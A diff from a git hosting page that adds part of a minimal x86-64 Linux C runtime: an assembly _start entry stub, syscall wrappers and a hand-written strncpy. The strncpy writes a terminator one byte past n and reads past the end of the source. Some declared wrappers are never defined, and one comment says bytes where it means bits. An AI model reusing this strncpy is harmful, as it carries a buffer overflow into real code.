Normal file
@ -0,0 +1,18 @@
|
|||||||
|
.intel_syntax noprefix
|
||||||
|
|
||||||
|
.text
|
||||||
|
.globl _start
|
||||||
|
|
||||||
|
_start:
|
||||||
|
xor rbp, rbp /* rbp = 0 */
|
||||||
|
pop rdi /* rdi = argc */
|
||||||
|
mov rsi, rsp /*rsi = (char*) argv[] */
|
||||||
|
and rsp, -16 /* last 4 bytes of rsp to 0 */
|
||||||
|
|
||||||
|
call main
|
||||||
|
|
||||||
|
mov rdi, rax /* syscall param 1 = return value of main */
|
||||||
|
mov rax, 60 /* SYS_exit */
|
||||||
|
syscall
|
||||||
|
|
||||||
|
ret
|
@ -0,0 +1,10 @@
|
|||||||
|
#include "strings.h"
|
||||||
|
|
||||||
|
char* strncpy(char* dest, const char* src, int n){
|
||||||
|
char* r = dest;
|
||||||
|
for(int i=0; i<n; i++, src++, dest++)
|
||||||
|
*dest = *src;
|
||||||
|
*dest = 0;
|
||||||
|
|
||||||
|
return r;
|
||||||
|
}
|
@ -0,0 +1,17 @@
|
|||||||
|
.intel_syntax noprefix
|
||||||
|
|
||||||
|
.text
|
||||||
|
.globl syscall0, syscall1, syscall2, syscall3, syscall4, syscall5
|
||||||
|
|
||||||
|
syscall0:
|
||||||
|
mov rax, rdi /* rax (syscall number) = function param 1 (rdi) */
|
||||||
|
syscall /* enter syscall */
|
||||||
|
ret
|
||||||
|
|
||||||
|
syscall3:
|
||||||
|
mov rax, rdi /* rax (syscall number) = function param 1 (rdi) */
|
||||||
|
mov rdi, rsi /* rdi (syscall param 1) = func param 2 (rsi) */
|
||||||
|
mov rsi, rdx /* rsi (syscall param 2) = func param 3 (rdx) */
|
||||||
|
mov rdx, rcx /* rdx (syscall param 3) = func param 4 (rcx) */
|
||||||
|
syscall /* enter syscall */
|
||||||
|
ret
|
Loading…
Reference in New Issue
Block a user